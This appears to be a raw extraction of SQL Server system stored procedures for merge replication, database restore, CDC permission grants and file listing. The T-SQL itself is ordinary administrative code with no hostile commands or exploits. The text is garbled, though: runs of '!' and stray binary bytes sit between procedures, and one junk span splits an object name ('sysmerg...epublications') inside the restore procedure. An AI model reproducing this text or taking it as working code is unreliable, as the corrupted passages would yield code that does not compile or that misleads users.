              status <> 7

    -- Add an entry with the old nickname, but new ids. ("b" in the example.)
    --
    set @repid_new= newid()
    set @pubid_new= newid()

    update #ri
        set repid= @repid_new

    update #sm
        set subid= @repid_new,
            pubid= @pubid_new

    
    insert into dbo.sysmergesubscriptions 
         (subscriber_server,db_name,pubid,datasource_type,subid,replnickname,replicastate,status,
          subscriber_type,subscription_type,sync_type,description,priority,recgen,recguid,sentgen,sentguid,
          schemaversion,schemaguid,last_validated,attempted_validate,last_sync_date,last_sync_status,last_sync_summary,
          metadatacleanuptime,partition_id,cleanedup_unsent_changes,replica_version,supportability_mode,application_name,last_makegeneration_datetime)
    select subscriber_server,db_name,pubid,datasource_type,subid,replnickname,replicastate,status,
           subscriber_type,subscription_type,sync_type,description,priority,recgen,recguid,sentgen,sentguid,
           schemaversion,schemaguid,last_validated,attempted_validate,last_sync_date,last_sync_status,last_sync_summary,
           metadatacleanuptime,partition_id,cleanedup_unsent_changes,replica_version,supportability_mode,application_name,last_makegeneration_datetime
    from #sm

    -- because of the identity column sync_info added to MSmerge_replinfo for lightweight subscriptions,
    -- we have specify to the expilicit columns in this insert
    --insert into dbo.MSmerge_replinfo 
    --  select * from #ri
    insert into dbo.MSmerge_replinfo 
        (repid, use_interactive_resolver, validation_level,
         resync_gen, login_name, hostname, merge_jobid)
     select repid, use_interactive_resolver, validation_level,
            resync_gen, login_name, hostname, merge_jobid from #ri 

    -- Add an entry with the new nickname, and also new ids. ("c" in the example.)
    --
    set @repid_new= newid()
    set @pubid_new= newid()

    update #ri
        set repid= @repid_new

    update #sm
        set subid= @repid_new,
            replnickname= @replnick_new,
            pubid= @pubid_new

    insert into dbo.sysmergesubscriptions 
         (subscriber_server,db_name,pubid,datasource_type,subid,replnickname,replicastate,status,
          subscriber_type,subscription_type,sync_type,description,priority,recgen,recguid,sentgen,sentguid,
          schemaversion,schemaguid,last_validated,attempted_validate,last_sync_date,last_sync_status,last_sync_summary,
          metadatacleanuptime,partition_id,cleanedup_unsent_changes,replica_version,supportability_mode,application_name,last_makegeneration_datetime)
    select subscriber_server,db_name,pubid,datasource_type,subid,replnickname,replicastate,status,
           subscriber_type,subscription_type,sync_type,description,priority,recgen,recguid,sentgen,sentguid,
           schemaversion,schemaguid,last_validated,attempted_validate,last_sync_date,last_sync_status,last_sync_summary,
           metadatacleanuptime,partition_id,cleanedup_unsent_changes,replica_version,supportability_mode,application_name,last_makegeneration_datetime
    from #sm


    insert into dbo.MSmerge_replinfo 
        (repid, use_interactive_resolver, validation_level,
         resync_gen, login_name, hostname, merge_jobid)
     select repid, use_interactive_resolver, validation_level,
            resync_gen, login_name, hostname, merge_jobid from #ri 

    drop table #ri
    drop table #sm

!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`K<FM0	V> 8create procedure sys.sp_MSlocktable
(
@ownername        sysname,
@tablename        sysname
)
AS
begin
    declare @retcode            int
            ,@procname            sysname
            ,@objid                 int
            ,@qualified_name        nvarchar(300)
            ,@spretcode int
            ,@spcall nvarchar(256)
    
    if @ownername is null
        set @qualified_name= QUOTENAME(@tablename)
    else
        set @qualified_name= QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)

    select @objid = object_id(@qualified_name)
    if @objid is NULL
        select @objid = object_id from sys.objects where name=@tablename
    if @objid is null
        return (1)
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @objid = @objid 
    if ((@retcode <> 0) or (@@error <> 0))
        return 1

    if 1=sys.fn_MSuselightweightreplication(null, null, null, null, null, null, @objid)
    begin
        --
        -- For security: break ownership chain as
        -- we have no control over the proc name is
        --
        select @procname= 'dbo.MSmerge_lws_sp_multi_' + procname_postfix from dbo.sysmergearticles where objid = @objid
                            and (1 = {fn ISPALUSER(pubid)})
        select @spcall = N'exec @p1 = ' + @procname + N' @action = 4 '
        exec @retcode = sys.sp_executesql @stmt = @spcall
            ,@params = N'@p1 int output'
            ,@p1 = @spretcode output
        IF @@ERROR<>0 or @retcode<>0 or @spretcode != 0 
            RETURN (1)
    end            
    else
    begin
        --
        -- For security: break ownership chain as
        -- we have no control over the proc name is
        --
        select @procname = 'dbo.' + select_proc from dbo.sysmergearticles where objid = @objid
                        and (1 = {fn ISPALUSER(pubid)})
        select @spcall = N'exec @p1 = ' + @procname + N' @maxschemaguidforarticle = NULL, @type = 7 '
        exec @retcode = sys.sp_executesql @stmt = @spcall
            ,@params = N'@p1 int output'
            ,@p1 = @spretcode output
        IF @@ERROR<>0 or @retcode<>0 or @spretcode != 0 
            RETURN (1)
    end
end
0edJ@ (8create procedure sys.sp_MSreplcheck_qv
as
begin

    set nocount on 
        
    declare @qv_replication varchar(10)
    declare @qv_engine varchar(10)
    declare @qv_value_replication integer
    declare @qv_value_engine integer

    select @qv_replication = '2745196162', @qv_engine = '845129433'

    exec @qv_value_replication = sys.sp_MSinstance_qv @qv_replication     
    if @@ERROR <> 0 
        select @qv_value_replication = 1

    exec @qv_value_engine = sys.sp_MSinstance_qv @qv_engine
    if @@ERROR <> 0
        select @qv_value_engine = 1

    -- magic number 1 assumes least common setting on all failure states
    select isnull( @qv_value_replication, 1 ) as VALUE_REPLICATION, isnull( @qv_value_engine, 1 ) as VALUE_ENGINE


end
0N] ~8create procedure sys.sp_MSdrop_article_conflict_table
    @pubid uniqueidentifier,
    @artid uniqueidentifier
as
    set nocount on

    declare @owner sysname
    declare @tablename sysname
    declare @qualified_tablename nvarchar(517)

    select @tablename= conflict_table
        from dbo.sysmergearticles
        where pubid=@pubid and artid=@artid

    if @tablename is null return 0

    select @owner= schema_name(schema_id) from sys.objects where name=@tablename and type = 'U'
    select @qualified_tablename= quotename(@owner) + '.' + quotename(@tablename)

    if object_id(@qualified_tablename, 'U') is not null
    begin
        exec ('drop table ' + @qualified_tablename)
    end
    if @@error<>0 return (1)

    update dbo.sysmergearticles set conflict_table= NULL where pubid=@pubid and artid=@artid

    return 0
0e v8

create procedure sys.sp_MScreate_zero_identity_constraint
    @subid uniqueidentifier
as
    declare @retcode int
    declare @artid uniqueidentifier
    declare @qualified_table_name nvarchar(517)

    -- change the constraints for identity range managed articles to be such that inserts are not allowed
    declare Carticles CURSOR LOCAL FAST_FORWARD FOR
        select artid from dbo.MSmerge_identity_range where subid = @subid
    FOR READ ONLY
    OPEN Carticles
    FETCH Carticles INTO @artid
    WHILE (@@fetch_status <> -1)
    begin
        select @qualified_table_name = sys.fn_MSmerge_getqualifiedobjname(@artid)
        if @qualified_table_name is not NULL
        begin
            exec @retcode = sys.sp_MSrefresh_idrange_check_constraint
                                    @qualified_table_name,
                                    @artid,
                                    0,
                                    0,
                                    0,
                                    0
            if @@error<>0 or @retcode<>0
            begin
                close Carticles
                deallocate Carticles
                goto Cleanup
            end
        end
        fetch Carticles into @artid
    end
    close Carticles
    deallocate Carticles
    return 0

Cleanup:
    return 1
0xO P8Sh>Fy0KSB 8create function sys.fn_replgetWorstWarningDurationMergesubscriptionsOnPublication (
    @publisher_id smallint, 
    @publisher_db sysname,
    @publication sysname,
    @publication_id int
)
returns int
as
begin
    declare @MaxDuration int
    set @MaxDuration=0

    select @MaxDuration=max(sessions.duration) 
	    from dbo.MSmerge_subscriptions subs
	    ,dbo.MSmerge_agents agents
	    ,dbo.MSmerge_sessions sessions
	    ,(
	    	select agent_id, max(start_time) as maxtime 
	    	from dbo.MSmerge_sessions group by agent_id
	    ) as latest
	    where subs.publication_id=@publication_id
	    and subs.publisher_db=@publisher_db
	    and subs.publisher_id=@publisher_id
	    and subs.subscriber_id=agents.subscriber_id
	    and subs.subscriber_db=agents.subscriber_db
	    and agents.publisher_id=@publisher_id
	    and agents.publisher_db=@publisher_db 
	    and agents.publication=@publication	    
	    and agents.id=sessions.agent_id
	    and sessions.agent_id=latest.agent_id
	    and latest.maxtime=sessions.start_time
	    and sessions.end_time is not null    
	    
    return @MaxDuration
end
0Fd@ 98create procedure [sys].[sp_cdc_grant_select_on_change_enumeration_functions]
(
	@capture_instance sysname,
	@supports_net_changes bit,
	@role_name sysname
)	
as
begin
	declare @stmt nvarchar(700)
		,@net_changes_function nvarchar(1000)
		,@all_changes_function nvarchar(1000)
		
    set nocount on

    set @net_changes_function = N'[cdc].' +
		quotename(N'fn_cdc_get_net_changes' + N'_' + @capture_instance )
    set @all_changes_function = N'[cdc].' +
		quotename(N'fn_cdc_get_all_changes' + N'_' + @capture_instance )
    
	if (@role_name is null)
	begin
		set @role_name = N'public'
	end
	
	set @stmt = N'grant select on ' + @all_changes_function + N' to ' + quotename(@role_name)
	exec (@stmt)
	
	if (@@error != 0)
	begin
		return 1
	end
	
	if (@supports_net_changes is null) or (@supports_net_changes = 0)
	begin
		return 0
	end	

	set @stmt = N'grant select on ' + @net_changes_function + N' to ' + quotename(@role_name)
	exec (@stmt)
	
	if (@@error != 0)
	begin
		return 1
	end
	
	return 0
end
0D D8y3hC2D!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*MA%	c`A
C<L0O0*] 8create procedure sys.sp_helpfile
@filename sysname = NULL			/* file name or all files */
as

set nocount on

if @filename IS NULL
begin
select 	name,  fileid, filename,
	filegroup = filegroup_name(groupid),
	'size' = convert(nvarchar(15), convert (bigint, size) * 8) + N' KB',
	'maxsize' = (case maxsize when -1 then N'Unlimited'
			else
			convert(nvarchar(15), convert (bigint, maxsize) * 8) + N' KB' end),
	'growth' = (case status & 0x100000 when 0x100000 then
		convert(nvarchar(15), growth) + N'%'
		else
		convert(nvarchar(15), convert (bigint, growth) * 8) + N' KB' end),
	'usage' = (case status & 0x40 when 0x40 then 'log only' else 'data only' end)
	from sysfiles
	order by fileid

end
else
begin
	if file_id(@filename) IS NULL
	begin -- no such file
		raiserror (15325, -1, -1, 'file', @filename)
		return (1)
	end
	select 	name,  filename,
	filegroup = filegroup_name(groupid),
	'size' = convert(nvarchar(15), convert (bigint, size) * 8) + N' KB',
	'maxsize' = (case maxsize when -1 then N'Unlimited'
			else
			convert(nvarchar(15), convert (bigint, maxsize) * 8) + N' KB' end),
	'growth' = (case status & 0x100000 when 0x100000 then
		convert(nvarchar(3), growth) + N'%'
		else
		convert(nvarchar(15), convert (bigint, growth) * 8) + N' KB' end),
	'usage' = (case status & 0x40 when 0x40 then 'log only' else 'data only' end)
	from sysfiles
	where fileid = file_id(@filename)
	order by fileid
end

return (0) -- sp_helpfile
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`A
<EQB0 8create procedure sys.sp_checknojobsinmsdb
   @loginame		sysname,
   @numjobs			int output
AS
	set nocount on

	create table #retval (job_count int not null)

    -- VERIFY NO JOBS IN MSDB OWNED BY THIS LOGIN --
	if db_id('msdb') is not null
        and object_id('msdb.dbo.sp_check_for_owned_jobs') is not null
	begin
        exec msdb.dbo.sp_check_for_owned_jobs @loginame, '#retval'
	    if exists (select job_count from #retval where job_count > 0)
	    begin
		    declare @job_count int
		    select @job_count = job_count from #retval

		    set @numjobs = @job_count
		    return (15170)
	    end
	end

    -- RETURN SUCCESS --
	return (0)	-- sp_checknojobsinmsdb
0 M8create procedure sys.sp_restoredbreplication (
    @srv_orig sysname, 
    @db_orig sysname,
    @keep_replication int = 0, -- Make it int so that we can expand later.
    @perform_upgrade bit = 0, -- server will set this parameter when the database is restored from a previous version of sql server.
    @recoveryforklsn varbinary(16) = 0x0
 )
as 
/*
 * used by restore process to strip out replication settings if restoring to non-originating
 * server/db or system otherwise not capable of keeping replication working
 * WARNING : procs called here run internal to server and must be owner qualified
*/
begin
	declare @retcode int

	select @retcode = 0

	/*
    ** Security Check: RESTORE statement requires sysadmin, dbcreator, or 
    **                 dbo (THE dbo, not just any member of the db_owner 
    **                 role.)               
    */
    if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) 
       and (ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0)
       and (ISNULL(IS_MEMBER('db_owner'),0) = 0)
    begin
        raiserror(18799, 16, -1) 
        return 1
    end
    
	--
	-- Only attempt to run restore code on REPLICATION scenarios.
	-- this helps us avoid failures when msdb or other dbs are 
	-- offline and a user is attempting to restore a non-repl db
	--
	
	-- 1. Transactional Publisher
	if object_id(N'syspublications', N'U') is not null 
		or object_id(N'syspublications', N'V') is not null 
	-- 2. Merge Publisher
		or object_id(N'sysmergepublications', N'U') is not null
	-- 3. Distributor
		or (object_id(N'MSrepl_commands', N'U') is not null 
    		and object_id(N'MSrepl_transactions', N'U') is not null
    		and object_id(N'MSsnapshot_history', N'U') is not null
    		and object_id(N'MSlogreader_history', N'U') is not null
    		and object_id(N'MSdistribution_history', N'U') is not null
    		and object_id(N'MSmerge_history', N'U') is not null)
    -- 4. Transactional Subscriber 
    	or object_id(N'MSreplication_subscriptions', 'U') is not null
    -- 5. Merge Subscriber 
    	or object_id(N'MSmerge_replinfo', 'U') is not null
    begin
  		exec @retcode = sys.sp_MSrestoredbreplication @srv_orig = @srv_orig, 
													    @db_orig = @db_orig,
													    @keep_replication = @keep_replication,
													    @perform_upgrade = @perform_upgrade,
													    @recoveryforklsn = @recoveryforklsn
   end
   --backup set does not contain replication system tables, but sys.objects or sys.columns are not in clean state
    --due to whatever failure occurred before, let's clean these bits here so not to block user from dropping the object
    --truncating the log, large text or textptr based operation 
    else 
    begin
        --
        -- cleanup the objects that are still marked by replication bits
        --
        -- clear category field if we are not going to keep replication
		declare @db_curr sysname,
                @flush_proc nvarchar(300),
                @done_proc  nvarchar(300) 
		select @db_curr = db_name() 
        
        -- call repldone before removing the published bit
        IF CONVERT(sysname,DATABASEPROPERTYEX(@db_curr,'status'))  = N'READ_WRITE'
			AND HAS_DBACCESS(@db_curr) = 1
			AND DatabasePropertyEx(@db_curr, N'IsPublished') = 1
			--if cdc is still enabled, don't call sp_repldone
			AND not exists(select * from sys.databases where db_id(@db_curr) = database_id and is_cdc_enabled = 1)
        BEGIN
            SELECT @flush_proc = QUOTENAME(@db_curr) + N'.sys.sp_replflush'
            SELECT @done_proc  = QUOTENAME(@db_curr) + N'.sys.sp_repldone'
            EXEC @flush_proc
            EXEC @done_proc NULL, NULL, 0, 0, 1
            EXEC @flush_proc
        END	

        EXEC %%DatabaseEx(Name = @db_curr).SetPublished(Value = 0)
		EXEC %%DatabaseEx(Name = @db_curr).SetMergePublished(Value = 0)
		EXEC %%DatabaseEx(Name = @db_curr).SetDistributor(Value = 0)
		exec @retcode = sys.sp_MScleandbobjectsforreplication
		if @retcode <> 0 or @@error <> 0
            return (1)
    end												    
	return @retcode
end
05C@ 08create procedure sys.sp_script_reconciliation_insproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL         -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptinsproccore 
                @artid = @artid
                ,@format = 1
                ,@mode = 2              -- snapshot reconciliation mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
0@ D8?-h061!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!8`<(=0v+acreate procedure sys.sp_MSrestoredbreplication (
    @srv_orig sysname, 
    @db_orig sysname,
    @keep_replication int,
    @perform_upgrade bit,
    @recoveryforklsn varbinary(16) = 0x0
 )
as 
begin

    set nocount on

    -- db bits
    declare @db_tranbit int
    declare @db_mergbit int
    declare @db_distbit int
    select @db_tranbit = 1, @db_mergbit = 4, @db_distbit = 16

    declare @repl_installed bit -- repl procs installed flag
    declare @remove_repl bit    -- remove replication flag ; remove on true (1)
    declare @restoreoverride int
    declare @db_curr sysname
    declare @retcode int
    declare @proc nvarchar(255)
    declare @replnick_old binary(6)
    declare @replnick_new binary(6)
    declare @compatlevel int
    declare @srcguid uniqueidentifier
    declare @pubid uniqueidentifier
    declare @prev_pubid uniqueidentifier
    declare @flush_proc nvarchar(300)
    declare @done_proc  nvarchar(300)

    -- Fixup lsns for dist db if needed
    -- This is to make sure that after the restore, the lsns are equal to or larger than
    -- the ones that have been sent to the publishers before the restore.
    -- reuse the procedures used by backup.
    exec @retcode = sys.sp_MSrepl_backup_start
    if @retcode <> 0 or @@error <> 0
        return 0
    
    exec @retcode = sys.sp_MSrepl_backup_complete
    if @retcode <> 0 or @@error <> 0
        return 0

    -- Support override of replication remove on attach and restore
    SELECT @restoreoverride = 0 -- assume normal remove behavior
    -- use instance specific function
    EXECUTE @retcode = master.dbo.xp_instance_regread 'HKEY_LOCAL_MACHINE', 
                                'SOFTWARE\Microsoft\MSSQLServer\Replication',
                                'RestoreOverride',
                                @param = @restoreoverride OUTPUT,
                                @no_output = 'no_output'

    if ( @@error = 0 ) and ( @retcode = 0 )
    begin
        -- ReplRestoreOverride = 1 = user elects to take no cleanup on restore or attach
        if ( isnull( @restoreoverride, 0 ) = 1 )
            return(0)
    end
    
        
    select @remove_repl = 0, @repl_installed = 1 

    select @db_curr = db_name() 

    -- Consider: Lock database using EXEC %%CurrentDatabase().Lock()??
    -- rmak: Doesn't seem necessary nor is the right thing to do as
    -- %%CurrentDatabase().Lock locks only the current database (master)

    -- check server has replication installed; if not, we cannot remove replication; this should be benign
    if not exists ( select * from master.dbo.MSreplication_options 
                        where optname = 'transactional' 
                           or optname = 'merge' )
        select @repl_installed = 0

    -- check restore to same server/db backed up
    if (( UPPER(@srv_orig) <> UPPER(@@SERVERNAME) ) or ( @db_orig <> @db_curr )) and @keep_replication = 0
    begin
       select @remove_repl = 1
        -- call repldone before removing the published bit
        IF CONVERT(sysname,DATABASEPROPERTYEX(@db_curr,'status'))  = N'READ_WRITE'
			AND HAS_DBACCESS(@db_curr) = 1
			AND DatabasePropertyEx(@db_curr, N'IsPublished') = 1
			--if cdc is still enabled, don't call sp_repldone
			AND not exists(select * from sys.databases where db_id(@db_curr) = database_id and is_cdc_enabled = 1)
        BEGIN
            SELECT @flush_proc = QUOTENAME(@db_curr) + N'.sys.sp_replflush'
            SELECT @done_proc  = QUOTENAME(@db_curr) + N'.sys.sp_repldone'
            EXEC @flush_proc
            EXEC @done_proc NULL, NULL, 0, 0, 1
            EXEC @flush_proc
        END	

        -- clear category field if we are not going to keep replication
        EXEC %%DatabaseEx(Name = @db_curr).SetPublished(Value = 0)
        EXEC %%DatabaseEx(Name = @db_curr).SetMergePublished(Value = 0)
        EXEC %%DatabaseEx(Name = @db_curr).SetDistributor(Value = 0)
    end

    if @perform_upgrade is NULL 
        select @perform_upgrade = 0
        
    -- determine if an upgrade for repl schema to latest version is needed for tran
    if (object_id(N'syspublications', N'U') is not null)
    begin
        -- upgrade from Sphinx
        if(object_id(N'sysextendedarticlesview', N'V') is null)
	        select @perform_upgrade = 1
	        
        if (@remove_repl = 0)
        begin
			--master..sysdatbases.category is bound to be 0 when 70 db is restored since 70 dbtable did not have this field
			--if db has syspublications and if we are trying to keep replication, we need to set category field here

			--in mirroring configuration, published mirroring db may not have the category bit set
			--if principal db was published after mirror had been set up, and failover did not happen even once afterwards
			--and after mirror is torn apart, mirroring db was restored with keep_replication (when principal is gone!)
			--we need to set the category bit here. Note sp_MSpublishdb is not called here, in theory if repl metadata is not
			--complete, we should have it go through the upgrade phase above, instead of patching it everywhere.
            EXEC %%DatabaseEx(Name = @db_curr).SetPublished(Value = 1)
			--article cache is in globle memory, if we didn't flush here, may end up with ancient schema!!!
			exec sp_replflush
        end
    end
    -- determine if an upgrade for repl schema to latest version is needed for merge
    if (object_id(N'sysmergepublications', N'U') is not null)
    begin
        -- upgrade from Sphinx
        if (object_id(N'sysmergeextendedarticlesview', N'V') is null)
        begin
              select @perform_upgrade = 1
             	if (@remove_repl = 0)
				begin 
					EXEC %%DatabaseEx(Name = @db_curr).SetMergePublished(Value = 1)
				end 
        end
                
        if (@remove_repl = 0)
        begin
        	if exists (select * 
			    from dbo.sysmergepublications 
			    where publisher_db = db_name() and UPPER(publisher)  = UPPER(publishingservername()))
	
	            EXEC %%DatabaseEx(Name = @db_curr).SetMergePublished(Value = 1)
	            
        end
    end
    
    -- determine if an upgrade for repl schema to latest version is needed for distribution db
    if (	object_id(N'MSrepl_commands', N'U') is not null and 
    		object_id(N'MSrepl_transactions', N'U') is not null and 
    		object_id(N'MSsnapshot_history', N'U') is not null and 
    		object_id(N'MSlogreader_history', N'U') is not null and 
    		object_id(N'MSdistribution_history', N'U') is not null and 
    		object_id(N'MSsync_state', N'U') is null)
    begin
		-- upgrade from Sphinx
		if (@remove_repl = 0)
		begin
		    EXEC %%DatabaseEx(Name = @db_curr).SetDistributor(Value = 1)
		end
    end

    if (@perform_upgrade = 0) and (
            (object_id(N'syspublications', N'U') is not null
                and not exists (select * from sys.columns where object_id = object_id(N'syspublications') and name = N'allow_initialize_from_backup'))
            or
            (object_id(N'syssubscriptions', N'U') is not null
                and not exists (select * from sys.columns where object_id = object_id(N'syssubscriptions') and name = N'srvname'))
            or
            (object_id(N'sysmergepublications', N'U') is not null
                and not exists (select * from sys.columns where object_id = object_id(N'sysmergepublications') and name = N'use_partition_groups'))
            or
            (object_id(N'MSsubscription_properties', N'U') is not null
                and not exists (select * from sys.columns where object_id = object_id(N'MSsubscription_properties') and name = N'job_step_uid'))
            or
            -- the following is to detect merge Yukon beta2 to beta3 upgrade
            (object_id(N'sysmergepublications', N'U') is not null
                and exists (select * from sys.columns where object_id = object_id(N'sysmerg!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Ualv+aepublications') and name = N'dynamic_snapshot_ready_timeout'))
    		-- we could have added logic to detect shiloh distribution db to yukon here, but it's not a good idea to call sp_vupgrade_distdb
    		-- on non-distdb cuz we don't have all the proper checks there.  Leave it alone for now and handle the oddball after pub/sub 
        )
    begin
        -- upgrade from Shiloh/Sphinx
        select @perform_upgrade = 1
    end
        
	-- perform the upgrade prior to attempting to remove anything
    if @perform_upgrade = 1
    begin
        exec sys.sp_refreshreplsysservers  @mode = 1 -- mode 1 means don't error out if sysreplservers contains a row pointing to remote server
        exec sys.sp_vupgrade_publisherdb @ver_old = 999, @ver_retention = 999 -- retention and old version not relevant on restore

        -- update subscription tables schema only -- skip any recompile of procs, views, etc. -- we will just drop them after restore
        exec sys.sp_vupgrade_MSsubscription_properties
        exec sys.sp_vupgrade_subscription_tables
        exec sys.sp_vupgrade_mergetables @remove_repl = @remove_repl
        exec sys.sp_MSupgrade_subdb_security_metadata
	end
	--two level of dynamic exec, 
	--first one is to make sure no-upgrade restore path won't fail with compilation error in case sysreplservers are not there
	--second is to avoid compilation error when coming from 70 (restore leave 70 db cmp level as 70 so collate will fail, but we've already 
	--gone through upgrade code path which means sysreplservers should point to @@servername already so this is really no-op
	
	--SD# 962471 in stable_repl_l2 talks about why the fixup here is necessary (SQLBU#358928)
	if exists (select * from sys.tables where name = 'sysreplservers')
	begin
		exec(N'if exists (select * from sysreplservers where srvname <> upper(@@servername)) 
				exec(N''update sysreplservers set srvname = upper(ss.name collate database_default), srvid = ss.server_id 
				from master.sys.servers ss where upper(name collate database_default) = upper(@@servername)
				'')
